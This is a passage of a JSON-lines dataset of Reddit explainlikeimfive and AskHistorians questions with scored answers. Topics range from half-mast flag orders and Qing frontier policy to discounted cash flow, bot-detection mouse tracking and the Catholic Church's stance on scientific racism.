flag to be flown at half-mast than in the past. [President Obama](_URL_0_) has done so more often than any other President in history.\n\nPresident Eisenhower formalized the process for ordering the flag to fly at half-mast -- he ordered it 12 times in his Presidency. Since then it has been ordered at half mast:\n\nKennedy -- 3\n\nJohnson -- 9\n\nNixon -- 16\n\nFord -- 5\n\nCarter -- 10\n\nReagan -- 20\n\nG.H.W. Bush -- 8\n\nClinton -- 50\n\nG.W. Bush -- 58\n\nObama -- 66 (as of mid 2016, probably more now)\n\nAs you can see lowering it to half-mast really started to become more frequent under Clinton's administration, and has continued to become more frequent since then.", "#*Why is the flag down* ***so much***??\n*THIS* is what I am asking. Why are you guys assuming I'm asking why has it been up constant this year and assuming I'm bagging on John Glenn. No where in my post did I say anything like that *other* than \"they've been down for 9 consecutive days now.\" That's it. I just asked why they are down so much more frequently. ****THAT**** was my question. ", "I fear that the meaning of a flag at half staff is being lost because of how often it is done. When I see a flag in that position now, I now longer reflect on the life of the hero for whom the honor is for. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://oa.mo.gov/facilities/facilities-operations/flag-display/flag-notifications"], ["http://www.usatoday.com/story/news/politics/2016/06/15/obama-flags-at-half-staff-proclamations/85891870/"], [], []]}
{"q_id": "295pze", "title": "futbol goal keepers jersey colors.", "selftext": "Why are some completely different colors than the team colors and do the goalies choose the jersey they wear?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/295pze/eli5futbol_goal_keepers_jersey_colors/", "answers": {"a_id": ["cihoii3"], "score": [8], "text": ["They are completely different from the team colors to stand out, since they have the unique ability to use their hands. Also, most disputed actions (tackles, etc) that involve the goalie will often be decided in the goalie's favor (as a manner of protection)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "867rqc", "title": "Given the proximity of the Qing Empire, were they aware of what was going on with the Mughals and British?", "selftext": "Good evening, I was curious about a lecture I had yesterday. He's a great history teacher but I was confused at how perhaps not so prepared the Qing were against the British. I only ask this because the news about what was going on in the Indian Subcontinent and the British Empire(And its East India company) should have went to the Qing Empires knowledge and helped them better prepare themselves and now repeat what happened to the Mughals, to happened to them. So, what was it that made the Qing so unprepared against the British? why weren't they prepared since the Mughals were very close to the Qing Dynasty geographically. \n\n\nIf you're confused about what I am asking, feel free to ask for clarity. Thanks for your time:)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/867rqc/given_the_proximity_of_the_qing_empire_were_they/", "answers": {"a_id": ["dw3haxh"], "score": [13], "text": ["The Qing central government in Beijing had not much coherent information about the British in India prior to the Opium Wars. \n\n# The nature of Qing frontier policy\n\nThe Qing had completed their unification of China by 1683. Still, a major potential threat to their empire remained. Remember, every foreign people to conquer a significant portion of the Chinese heartland had come from the northern steppes and forests of Mongolia and Manchuria. The Qing were themselves Manchus, and they had now conquered all of China, but too much of Mongolia remained independent.\n\nThe most powerful of these independent Mongols^1 was organized under the [Zunghar state](_URL_2_), whose people fervently resisted Manchu efforts to bring the nomads to heel. Two thousand years of war between the Chinese empire and the northern steppe peoples strongly suggested that the Zunghars were the single greatest threat to the Qing realm. So Beijing sent unsolicited embassies and made formal treaties with nations as far west as Russia to diplomatically isolate the Zunghars, tried to discredit the religious legitimacy of the Zunghar monarchs by taking control of the holy sites in Tibet, and even preemptively declared wars of extermination. Manchu and Chinese bureaucrats wove together reports from every corner of the northern and western frontier of the empire to create a coherent picture of Zunghar activities and devise a grand strategy for countering them at every front.\n\nQing efforts came to fruition in the 1750s, when the Zunghar state collapsed before Manchu invasion and most of its people were killed after an epidemic of smallpox (abetted by societal collapse due to Qing attack) and active genocide by Qing troops. With the eradication of the Zunghars, the last free Mongols on the steppe, Qing China had neutralized all the traditional external threats of any Chinese empire. \n\nMillennia of history now intimated to Beijing that with every Mongol subjugated, it was unlikely that any foreign nation could conceivably threaten the empire. Qing foreign policy changed fundamentally. Indeed, it is arguable that it disappeared entirely. Gone were the great embassies, the intelligence-gathering campaigns. Why have them when China no longer had a serious foreign rival? Instead, the Chinese state sought to save resources and administrative energy on maintaining the integrity and stability of an eighteenth-century empire that was now larger and more populated than the United States in 2018.\n\nThis meant that there was no real integrated foreign policy any more, just a series of independent frontier policies. Manchu governors now dealt with each frontier independently with a fundamentally defensive mission to simply maintain the security of the local segment of the borders. The Qing made war when foreign armies crossed the border first, or otherwise made an offense to the empire. For dealing with local issues this was far more effective than a centralized system, since local governors could respond much more proactively to much more credible information. It fared poorly against an enemy of similar power which could extend its power over multiple disparate frontiers, *but it seemed that there was no serious potential enemy.*\n\nThis explains why, despite being separated from British India only by the kingdoms of the Himalaya foothills, Qing China in 1800 remained largely unaware of the British empire. Yes, the archives of the Forbidden City might have plenty of information about the British from each relevant frontier of the empire: whispers about the Franks in the bazaars of Kashgar, treatises by lamas about a powerful new tribe of *[mlecchas](_URL_0_)*, reports by Guangzhou's Governor-General of an ever-increasing volume of Western trade, and so on. But after the 1750s, Beijing's frontier policy was designed to save resources by dealing with the defense of each frontier independently, not to integrate reports about potential geopolitical threats from multiple disjointed frontiers.\n\nThe Qing reliance on a frontier policy, along with the linguistic diversity of the empire's borderlands, also meant that each foreign group was referred to in government records by whatever the locals called them. Again, this worked perfectly fine for minor raiding kingdoms on the border that presented only localized problems. But for the British, who were everywhere, it meant that it was that much harder for the Qing to even conceive of the Franks of Kashgar, the Enlechi and the Indians of Tibet (\"Enlechi\" comes from English; Tibetans also commonly referred to the British as just another Indian kingdom), and the Yingjili and Redheads of coastal China (\"Yingjili\" also comes from English; Redheads is a reference to blond or red hair) as possibly being the same people serving the same empire. \n\nFinally, it's worth considering that the Zunghars and the British were two very different sorts of threats. The Zunghars were the final incarnation of a menace that the Chinese had dealt with for two millennia, and with whom the Manchus were extremely familiar. The Manchus knew everything there was to know about Mongol politics, forms of government, religion, military tactics and strategies, and geopolitical goals. Their land-based, cavalry-centered form of power projection was, too, something both Chinese and Manchu were well-acquainted with. The British, by contrast, were unprecedented, and reports of their activities came from the two frontiers most distant from each other that the Qing could have imagined: Tibet and the coast.\n\nIn sum, the nature of Qing frontier policy made it difficult for Beijing to have a genuine appreciation for the British empire and the threat it posed.\n\n# So what *did* the Qing know?\n\nThe first significant encounter the Qing government had with British India was in 1793. Even so, what intelligence the Qing acquired that year was very vague and did not at all seem to imply that the British were a threat.\n\nThe Gurkha kingdom of Nepal attacked the Qing protectorate of Tibet in the summer of 1788. This sparked two [Qing-Nepalese wars](_URL_1_) in 1788 and then in 1791-1792. While preparing for the second campaign, the Qing general interviewed one of the few Chinese soldiers who had gone to the Nepalese capital of Kathmandu. He reported that five or six days from Kathmandu lay the \"Country of the Redheads,\" and beyond that, the Indian Ocean. The Redheads were a typical Chinese word used to refer to Europeans, so this could only have referred to British Bengal.\n\nThe Jesuits were asked about the Redheads and replied that they were a people who lived southeast of Italy and traded with China at the port of Guangzhou, where Europeans had their factories. These two testimonies were very poor representations of the actual strength of the British empire, and it is unsurprising that the emperor only said:\n\n >  [T]he country of the Redheads is quite near the Gurkhas, yet it has long traded with China. We may surmise that it will not necessarily assist the Gurkhas or ally with them.\n\nIn 1792, the Qing general in charge of the Nepal campaign reported that among the three Buddhist tribes who had sent religious gifts to the Tibetan priesthood, there were the \"Pileng\" -- from Tibetan *Phereng*, a word deriving from \"Frank\" and here meaning the British. The general seemed unaware of even the possibility of a connection between this Buddhist tribe and the Redheads mentioned an year ago. In any case, the Qing requested the Pileng to help fight the Gurkhas.\n\nWhile the Chinese waited for the Pileng reply to arrive, Gurkha captives were interrogated about conditions in India. The Gurkhas discussed Hindu religious centers like Varanasi and the Jagannath Temple (in Puri). In his report to Beijing, the general said:\n\n >  [T]hese places are all controlled by the Pileng [according to the Nepalese captives]. They are extremely far from the Redhead country in the Great Western Ocean [Europe]. [Thus, it is impossible for the Pileng to have anything to do with Europeans.]\n\nSix months after the Qing made peace with Nepal, the British finally came with a reply to the Chinese request to attack the Gurkhas. The messenger who carried the letter by the Earl Cornwallis, the Governor-General of India, claimed:\n\n* The Pileng were also called the Galigada (Calcutta). The other tribes of India called them by the former name; the latter name was used by themselves.\n* The chieftain of the Pileng, titled the Guo'erna'er (\"governor\"), was a deputy of a ruler named the Dili Bacha (\"Delhi Padshah,\" i.e. the Mughal emperor). He was not a Muslim, although his subjects were, nor a Buddhist.\n* The Pileng traded in the Chinese port of Guangzhou. The Qing were confused by this, as there had never been any report either of the Pileng or of Galigada from Guangzhou. The Qing general had to accept that the Pileng hailed from \"near the Western Ocean,\" but we're not really sure whether he really did accept that the Pileng were Europeans since \"Western Ocean\" in Chinese terminology could mean both Europe and the Indian Ocean.\n\nMeanwhile, Cornwallis's reply in English said that the British had refused Nepalese requests for military aid, although they had amicable relations with the king of Nepal, and that they traded in the Chinese coast. It was the wish of the British, the letter said, to be a \"Friend and mediator\" whose \"amicable Interference\" would end the war. (The British were apparently not yet aware that the Nepalese had already surrendered.) In the Manchu translation, however, Cornwallis said:\n\n[Continued]\n\n---\n\n^1 Throughout I'm using \"Mongols\" as shorthand here for those steppe peoples believing in shamanism and Tibetan Buddhism and speaking Mongolic languages, who proved to be Early Modern China's most enduring nuisance; the Mongols of the time used a  narrower definition of \"Mongol\" which excluded the Zunghars."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Mleccha", "https://en.wikipedia.org/wiki/Sino-Nepalese_War", "https://en.wikipedia.org/wiki/Dzungar_Khanate"]]}
{"q_id": "4meaz3", "title": "discounted cash flow valuation", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4meaz3/eli5_discounted_cash_flow_valuation/", "answers": {"a_id": ["d3uu2aj", "d3uu5bv"], "score": [4, 2], "text": ["If you and I are standing together and you have an apple, and I offer to buy your apple, would you rather have my $2 right then, or tomorrow?  You'll probably say right now, who knows if you'll be able to find me or if I'll have the money then, and even if you know I'm good for it, you still can't use the money to buy something that afternoon.  \n\nSo cash now is better than cash tomorrow, or cash in a year, but more money is also better than less, so there's some amount at a certain point in time, where you don't care whether its $2.00 today or perhaps $2.20 in one year.  \n\nAnd knowing that, you have a tool to evaluate my offer of $2.00 today or $2.20 in one year, and someone else offering $1 today and $1.05 in six months, or $0.10 for the next 24 months, to pick both the person and the offer that is the most valuable way to sell your apple.  \n\nThe math involves dividing by a rate that makes money in the future equal to money today (for most businesses this rate tends to be constant for reasonably short periods of time).  There are some short cuts involving sums when the cash flows are constant payments.  ", "DCF is a valuation method which takes expected future payments and discounts them at a given interest rate to find out how much those payments in the future are worth today. A very simple example is that $100 today is worth more than $100 next year simply because you can invest that $100 in anything that gives interest and easily end up with more than $100 a year from now. The DCF however looks to value the $100 from the future and determine how much that $100 is worth to me *now*. Depending on what interest rate I use to discount the future $100, I can have a wide range of different answers of the worth today. Someone could use a 10% discount rate and say that $100 in a year is only worth $91 today because he can easily take $91 and earn a 10% rate of return to make it become $100 in a year. Another might say that it is only worth $80 today because he can earn 25% return on his investment so that $80 today would be equivalent to $100 in a year.\n\nThe point of DCF is to take future expected payments from different periods and intervals and discount everything to a single point in time so that they can be comparable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1yuc2w", "title": "How did Jewish-Americans become associated with progressive liberal politics?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1yuc2w/how_did_jewishamericans_become_associated_with/", "answers": {"a_id": ["cfnug1h"], "score": [25], "text": ["As with most things American Jewish history related, the origin of it is in the late 18th and early 19th century.  It was a time of massive change in the American Jewish community.  The population, which was composed mostly of Sefardi (Spanish) and German Jews, expanded massively with immigrants from Eastern Europe, triggered by successive waves of pogroms, beginning in 1881.\n\nAnyway, these immigrants were mostly urban, and mostly lower-class.  As a consequence, they were involved in the labor and socialist movements.  The best known Yiddish newspaper, *The Forward*, started out as a socialist paper.  The [Workermen's Circle](_URL_2_) was a socialist organization, too.  And the distinctly Jewish political movement of the era (besides Zionism) was Bundism, which was expressly socialist.\n\nSo, Jews were big into socialism.  Over time, this lead to their inclusion in the New Deal coalition, which lead to a strong Democrat lean.  [This](_URL_1_) has the Jewish voting patterns in presidential elections from 1916 onwards.  Note that socialist Eugene V. Debs, running from prison in 1920, who recieved 3.4% of the popular vote nationally, got a whopping 38% of the Jewish vote.  And from Al Smith in 1928 after, no Democratic presidential candidate got less than 60% of the Jewish vote except for Carter in 1980.\n\nAs for before that occurred, I can't find any solid data.  [This article](_URL_0_) says that the Jews prior to the New Deal coalition were mostly Republican.  But the definite association with progressive politics is a labor movement/socialist/New Deal phenomenon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://quod.lib.umich.edu/cgi/p/pod/dod-idx/jewish-american-voting-patterns.pdf?c=fia;idno=11879367.2012.00", "https://www.jewishvirtuallibrary.org/jsource/US-Israel/jewvote.html", "http://en.wikipedia.org/wiki/The_Workmen%27s_Circle"]]}
{"q_id": "cv68fz", "title": "why is it hard to simulate human mouse movement?", "selftext": "I read that Websites can know that you're not a bot by looking at the mouse movement. But why would it be hard to simulate that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cv68fz/eli5why_is_it_hard_to_simulate_human_mouse/", "answers": {"a_id": ["ey24alw", "ey26otc", "ey27b92", "ey2al0t"], "score": [61, 6, 4, 13], "text": ["Because an automated system to move and click through dialogs and pages would have to be able to scan and know where the targets to click on are. No human takes a perfectly straight line between targets, and certainly not with the same speed that a computer could react.\nYou basically have to tell a computer to take a non-optimal path at a non-optimal speed, and to do so differently each time. It can't follow the same bezier curve, for example.\nMost humans also idle with their hand on the mouse and make it wiggle, whereas the computer won't move the cursor if it isn't given a reason to.", "I can get it's hard to simulate a mouse, but how can't they simulate a touchscreen? I mean, it would only need to have a small delay to simulate reaction time and press in a random point of the square.", "Human movement, on the small-scale, is pretty random. Lots of small little deviations, no straight line is perfect, we bias toward making arcs because of pivoting around our wrist, we are driving the mouse with five separate meat tubes that each are imperfectly coordinated, we are relying on abstracted hand eye coordination to guide the movement, our movements have momentum, etc. The sum of this is you get very random movement but that is very human-like in nature. Then compound this with some more random because this movement is being detected by an optical sensor that has its own noise rather than being a hard number. \n\nComputers are really bad at doing random, they are deterministic machines, its impossible to make them do anything truly random. You can make them approximate randomness, but ultimately its just a math equation with a seed value pulled from somewhere, its predictable if you know the input conditions. But more importantly a computer generating randomness off an equation to generate a number is very different to a humans randomness generated off mechanically moving a mouse around with our squishy meat bodies guided by our hunter-gatherer brains thats being recorded by an analogue sensor. There is just a different 'feel' to it even though both are random, and thats what mouse tracking is looking for, the absence of that human feel.", "Honestly, it probably wouldn't be that hard to simulate human mouse movement using a neural network if you gather enough of data of mouse movement. But doing so is comparatively much more difficult and takes a whole lot more effort than having a script that says \"click this box, move mouse to this position, click,\" etc. But if someone really wanted to create an algorithm that could replicate human mouse movements, it could almost certainly be done.\n\nOne pitfall with this is that using it on a very large scale would likely allow it to be detected by a sufficiently sophisticated bot detection program, since the mouse movement would have certain patterns that could be recognized on a large scale. But on a smaller scale it would work fine to bypass detection.\n\nAnother problem is speed. Acting like a human requires you to go much slower than a computer is able to go, which isn't helpful when you're trying to create 10,000,000 bot accounts or something."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "17d7nm", "title": "how does ''rule against perpetuities'' actually work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17d7nm/eli5_how_does_rule_against_perpetuities_actually/", "answers": {"a_id": ["c84fzn8", "c84g14f"], "score": [7, 2], "text": ["**Background**: The Common Law Rule seeks to make sure that things get used. Why would you want a perfectly good car being held by a dead person? We have property laws to make the world more efficient not less efficient\n\n\n\n\nHere enters the Common Law Rules Against Perpetuities. This is a rule, not written down in a law, but rather a set of practices the court follows (common law). This set of practices deals with giving property to people (most commonly when things are given in a will)\n\n\n\n**What it deals with** When someone gives something to another person, they can put restrictions on it (eg you will get my house when I die). However, sometimes those restrictions can take a very long time to actually occur (you will get my house when man leaves the solar system). The common law rule against perpetuities tries to get people to avoid the second example\n\n\n\n\n\n**Example** So, how does it stop people from making up ridiculous restrictions: by saying that you can only give something to someone if the event occurs within the lifetime of the relevant parties (say yourself and the person who is giving you that house) plus 21 years. If, the person who is giving you the house dies, and 21 years pass (without meeting the restriction that gives the house to you) then the house is no longer yours and goes back to the estate of the person who gave it to you.\n\n\n\n**Modern Context** That said, in Canada at least, the rule against perpetuities has been modified by laws passed by the government in many jurisdictions such that it takes a \"wait and see\" approach. In the example I used that means they would just wait till you die and **then** the house would revert to the estate of the person who gave it to you.\n\n\n**Nuances** There is a caveat here. All of these things are looking at one's interest in property. So for instance, property given to children from their parents is said to already said to be \"burdened\" with the interest of the child. Since the interest is there, the rule of perpetuities is done with. Another example is a marital relationship. Each partner already has a interest in the property even if they don't have outright possession (physical holding and use of the property) or ownership (title to the property). Again, rule of perpetuities is not as important because the interest is there.\n\n**Conclusion** The rule against perpetuities is *not* against perpetual ownership, but rather *perpetual uncertainty.* It is not good that we don't know when someone is going to get a piece of property so the law creates boundaries. When there are boundaries then a piece of property can be used, people can bring order to their lives, and society is more stable", "I am not a lawyer, but I can explain the basics of it.\n\nUnder the traditional common-law rule, any \"interest\" in a will must \"vest\" within 21 years after the death of any person alive at the time of the execution of the will.\n\nAn \"interest\", in this context, simply means anything that you want to give to someone in your will. For example, let's say a gold heirloom watch you want to leave to your oldest son. You are allowed to write in your will that you want the watch to go to him, and are even allowed to say to whom you want the watch to go after *he himself* dies. Even if your son doesn't have kids yet, that's okay. Even grandsons would be okay, as long as the watch passed to them within 21 years of the death of anyone alive at the time of the will was executed.\n\n(In fact, in order to give themselves the maximum time possible, people would write clauses that extend the time until, say, 21 years after the death of the last living descendant of Queen Victoria. Since they are nobility, they will probably live a long time, and their information can easily be looked up.)\n\nBut what you can't do is set up some arcane process where it passes from your son to his son, and then to the Queen of England until she dies, and then to the King of Spain until he dies, and then to the head of the Hapsburg family, and so on forever.\n\nInstead, the \"interest\" must \"vest\" within a reasonable period of time. When it \"vests\", that means that your will stops having control over it, and other people can decide what they want to do with the piece of property, instead of listening to you for all eternity.\n\nThe obvious motive here is to simplify things and allow the living, not the dead, control over property.\n\nHowever, the rule is very difficult to apply, and some U.S. states have abolished it, while others have made the waiting time extremely long. This better respects the intentions of the person originally writing the will (and is less likely to end up in court), but it also allows property to be controlled by a \"dead hand\" for much longer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2o574s", "title": "why are there so many talented musicians on youtube who can sing amazing acoustic song covers that never get picked up?", "selftext": "While there are some artists like Selena Gomez are horrible live which shows their lack of singing talent yet they can make it so big?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2o574s/eli5_why_are_there_so_many_talented_musicians_on/", "answers": {"a_id": ["cmjsz7r", "cmjt1a4", "cmjt2gu", "cmjt7gh", "cmjtbf7", "cmjz5gi", "cmk0ka8", "cmk1auh"], "score": [3, 46, 7, 14, 4, 5, 2, 2], "text": ["Because singing isn't hard. American Idol would have ran out of contestants by now if singing was actually a talent. So, since countless people can sing, it comes down to marketing. Who's going to get marketed? The person with the best connected parents (like Selina Gomez  &  Drake) or the person who can suck cock the best. Pretty simple. ", "The music industry has little to do with music and everything to do with industry. It's not about selling an artists talent - it's about selling the artists.\n\nThat's not to say all famous singers are talentless hacks - Just that it's not that important.", "Well for one, the nature of being \"picked up\" has changed drastically *because* of the talented musicians on YouTube. You no longer need to know someone who knows someone's uncle who know's someone in Hollywood. \n\nYou can literally make covers for a year and get picked up. The group [Karmin](_URL_0_) is a notable example of this. They became viral sensations after doing a ton of covers and they actually got a record deal last year, which they actually left a few months ago because they enjoy the creative freedom of being independent.  \n\nHell, Justin Beiber is probably the biggest example of someone on YouTube making it into the big time. He made a song on YouTube when he was 12, and Scooter Braun happened to see it and setup a meeting with the Biebeez and Usher, and the rest is history.\n\nAnd now thanks to MCN's like Fullscreen and Big Frame essentially acting as talent scouts and representatives, you can join their network and get even more exposure than you would have with a normal record label, *and* you still keep your artistic freedoms and YouTube money.\n\nIt's a glorious time for anyone that understands YouTube. ", "Many people can sing with a little training and many people can play the guitar, you already said there are thousands of them out there, but Music industry isn't looking for talent alone, you need to be marketable and if there are thousands of your kind on youtube, chances are that you are not.", "Not an answer, just an observation. But as some of the other commenters were saying, the music industry has become about selling the artist, not so much their music. I've noticed that you can name very few people who aren't the most attractive but are a huge profile in the music industry. \n\nTo refer to your question more directly, YouTubers may be good at song covers but covering a song and creating your own music is very different. Anyone can learn to play a song, but it takes a lot of work to write and compose a song. \n\nBut it is a shame that that's the way the music industry works because there are so many great artists and some I would rate over others in the current charts. ", "A lot of good answers here, one addition factor could be is that they are doing covers.  NOT original work which takes a lot more musical knowledge and skill.", "There a lot of reasons. Some of them:  \n1) Their voice is too general and overrepresented.  \n2) Their style will appeal only to few people.  \n3) Nobody really important just haven't seen them yet.  \n4) They lack charisma.  \n5) They are actually not talented, they suck, but you can't understand that due to lack of music education.  ", "Because they're playing covers.  Lets see them write a hit.\n\nSinging and proficiently playing an instrument aren't hard - want to find a good vocalist, throw a rock.  Finding a great songwriter, though... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/user/karmincovers"], [], [], [], [], []]}
{"q_id": "1uxx9v", "title": "what to do when i go to a strip club.", "selftext": "What proper etiquette should I know?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1uxx9v/elif_what_to_do_when_i_go_to_a_strip_club/", "answers": {"a_id": ["cemr17q", "cemr3jy", "cemrf7i", "cemu7h8"], "score": [2, 4, 5, 5], "text": ["For the love of god, keep your hands to yourself. Unless you pay for it, and you will have to pay a lot, almost all strip clubs (at least in Alberta) are no contact.", "Only bring cash.  Leave your plastic at home.  You'll thank me later. The ATM fees are typically outrageous.\n\nSource: one brutal night, and explaining the card charges to my wife two weeks later when the bill came.  ", "When you first come in, take your group to a table or booth not right at the stage, order your drinks and get settled in.  Once you're settled wait for a change of dancer or song and you can take advantage of the space around the stage.  Sometimes there will be chairs, other times it's standing room only.  ONLY go up to the stage if you plan to spend money; while not required, it is somewhat disrespectful to not tip (the dancers aren't there to give you a free show).  Only make physical contact if the dancer initiates it.\n\nWhile you are there, be prepared to be harassed every few minutes by dancers asking if you want a lap dance or private show.  Don't be pressured into blowing your whole stack in a half hour (especially if you aren't there to make it rain).  Definitely leave your card locked in the car, ATM fees are around $10 at the few i've visited which is ridiculous.  Take a break between songs or dancers as you see fit and pace yourself.  You'll have a great time if you can make your dollar go further.", "Walk in da club with a Shit ton of One dollar bills find a girl pole dancing and MAKE IT RAIN!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3m1xs5", "title": "why is india unhappy about nepal's constitution?", "selftext": "Are they really just mad about the fact it's secular constitution?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3m1xs5/eli5_why_is_india_unhappy_about_nepals/", "answers": {"a_id": ["cvb8dim", "cvbej48"], "score": [3, 3], "text": ["They are concerned that the new constitution doesn't give equal power  to different population groups within Nepal. The Indian government fears that this imbalance in power will create civil unrest, something that they don't want in a neighbouring country.", "India has nothing  against secularism, infact we ourselves are a secular country with very diverse religions. \n\nWe want Nepal to be a peaceful country,  we have a  **1400km  open border** with Nepal, there  4 million  Indians  &   napalis living in each other's County. \n\nThe problem is there are riots all over Nepal,  a good chunk of the population don't want this bill to pass,  50 people have already died  &   cities have been lock down for 4 weeks.  \n\nThere is also propaganda,   as the Unrest continued  they point fingers to india/irrelevant 3^rd party.   There were news that India sealed the border, stopping imports.  This news caught up like wild fire because 90% of Nepals imports  come from India. In  India sealed off its border or would  basically would cripple their  economy for some time. \n\nWhile the truth was much simpler,  India only sealed the roads that led to the lock down city  fearing the riots.  Adding to the delay, India heightened the security checks  &  inspections  along the border. \n\n\nThe Indian government has strongly voiced out the  propaganda the napali politician has made  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5v18v1", "title": "The Catholic church today is strongly opposed to ethnic prejudice, but has this always been the case? What role did the Catholic church play in the age of scientific racism?", "selftext": "Around the turn of the century, when race science was standard across the West, how did the Catholic church address peoples now believed to be less than human? Did they oppose this sort of white supremacy on theological grounds, or did the Vatican just play along?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5v18v1/the_catholic_church_today_is_strongly_opposed_to/", "answers": {"a_id": ["denyn90"], "score": [2], "text": ["So... since no one has answered this question yet, I'm gonna give it a shot. This is my first attempt as an active redditor (and a non-english speaking one too) so I apologize in advance for all the mistakes (grammar included). I don't really have any English language sources because most of the material I've studied is italian/french/german.\n\nPremise: When talking about the Catholic Church we have to make clear that, even though it's a well organized and extremely centralized institution, we're talking about a huge human organization spreading over lots of different countries and through all levels of society. There's an official theological-doctrinal standpoint expressed and carried on by the Pope, but you also have to consider the different interpretations and point of views of every specific school of thought, scholar, congregation, theologian, bishop, catholic societies and parties, priests, followers etc. That said, the general opinion mostly reflects or it's highly influenced by the Pope, especially in a context where the freedom of conscience (remember the Index Librorum Prohibitorum was only formally abolished in 1966!) was not accepted as part of the values of the Christian society, so the debate is never totally open inside the catholic community. \n\nContext: During the age of scientific racism the Catholic Church was coming through a very difficult approach with \u201cmodernity\u201d and the rising of new political and philosophical ideologies (nationalism, socialism, rationalism, positivism...) that exploded during the Enlightenment and spread all over Europe after the French Revolution, which was itself a huge shock for the Catholics and the Holy See. The first approach with the modernity during the 19th century was to condemn every idea and concept considered to be unorthodox, heretic, or in contrast with the catholic doctrine, in order to protect the Christian faith from the ongoing secularization process of society. The most solemn and explicit reaction to the modern ideologies was the Syllabus of Errors, a document issued on December 8th 1964 as part of the encyclical *Quanta cura* by Pope Pius IX, which can be seen as a collection of all the counter-revolutionary typical themes of the late European romanticism (De Maistre, Lamennais, Donoso Cortes, Taparelli d'Azeglio among others). In this context Leo XIII (1878-1903), Pius IX successor, started to face modernity from a different point of view, influenced especially by the *neo-scholasticism* and a more political attitude aimed to confront and challenge the liberal culture and the modern sciences, with the aim to recreate the greatness of Christianity, as it was before the Revolution. In his new ideology of Christianity, the Catholics must deal with the modern national States and their laws, shaping the society, politics, the mass culture and the economy (catholic social teaching). This new approach also affected the way the Church managed and promoted the new missionary  boost in the late 19th century, because the expansion of Christianity both within the modern European society and outside the European continent were part of  the same plan of bringing back the power of the Roman Catholic Church over the secular States. Spreading Christianity became in the age of Imperialism and Colonialism very much connected with the idea of spreading the Civilization, because the only true civilization in the mind of the catholic thinkers in Europe was the Roman Catholic civilization. In this mentality,  there was no doubt that *the savages* had to be converted to the *true* religion and at the same time educated to the highest level of European civilization for a man of the 19th century. \n\n**So did the Church have an ethnic/racial prejudice?** \nThe catholic theology rejected and condemned, even though not officially, the Darwin evolutionist theories (which at the time was called \u201ctransformism\u201d) and every scientific justification to the biological difference of human races in contrast with the Holy Scriptures and the doctrine of *monogenism* (as opposed to the predominant *polygenist* theories), which was considered as the fundamental and irrefutable interpretation of the the Book of Genesis. If we all come from the same parents (Adam and Eve) then we all deserve a chance for salvation. Moreover, the official theology and the catholic philosophers refused the naturalistic approach for the study of the human being, because the man had to be seen as a combination of divine and natural properties, as the most important creation of God and not just an animal among other animals. While polygenists generally saw the white (or \u201ccaucasian\u201d) man as the most perfect evolution of the human being, all other *less evolved* human races were seen as the link between human perfection and animality, catholic scholars and theologians wouldn't accept the idea of the direct natural evolution from animal to human without any divine intervention and refused the idea of different human races and levels of evolution, always focusing on the common original background of languages and religions (this kind of approach influenced scholars like Wilhelm Schmidt and his theory of *Urmonotheismus*). A much popular justification (not only among Catholics) for the physical and cultural differences between human groups, in particular for the existence of Africans, was the old medieval theory of the biblical curse of Ham's son Canaan, because the idea of a divine damnation seemed to explain the eternal condition of slavery and savageness and suffering in the African continent. This theory was often mixed with the old belief that racial and cultural differences among men had a lot to do with climate conditions and geography (Montesquieu) and lead to the concept of *degeneration* from an ideal human to a savage or less civil kind of human. \nWhile all scientific racist theories are based on the deterministic idea that some races are less fit than others, and so they are condemned to extinction or eternal slavery, the catholic *weltanschauung* was based on universalism and the belief of perfection of the divine creation. The idea that all physical and cultural differences between men are just accidental, depending on the environment. That means every man in the world could embrace the words of Christ, whose message was for everyone including the savages. So, indeed there was a prejudice towards non-european, non-catholics, non-civilized humans, but none of these conditions were considered to be eternal or definitive. This was also the main catholic justification for colonialism. \n\nThe approach towards *savages* in the late 19th century didn't really change much from a theological point of view, since the age of Francisco de Vitoria and Bartolom\u00e9 de las Casas in the 16th century. The savages were considered at a lower level of humanity and civilization, so the European conquerors had the right (but also the duty) to expand the word of Jesus Christ in the name of the Roman Catholic Church, and of course they could do so even against the savages will. What really changed in the age of Imperialism, especially after the Berlin Conference of 1884-85, was the attitude of missionaries (which ultimately lead to the birth of a new discipline called *missiology* in the early 20th century) who understood that if they wanted to convert more people and in a more efficient way, they had to learn the cultures, languages and costumes of the savages they wanted to convert and civilize. They also realized that colonialism could have been a great advantage for the expansion of the civilization in Africa and eastern Asia. However, the missionaries often reflected the mindset and political views of their mother country, rather than the universal catholic church mission. So in this hyper nationalistic world, the competition between colonial powers and missionary congregations of different countries were high and didn't always bring consistent results in terms of evangelization and civilization. Missions and colonialism have been pretty much connected in practice until pope Benedict XV apostolic letter \u201cMaximum Illud\u201d (1919) formalized the role of missionaries, their relationship with indigenous cultures and the colonial governments. The biggest improvement in this process of emancipation from the colonial system was the increased attention on the creation and formation of local indigenous 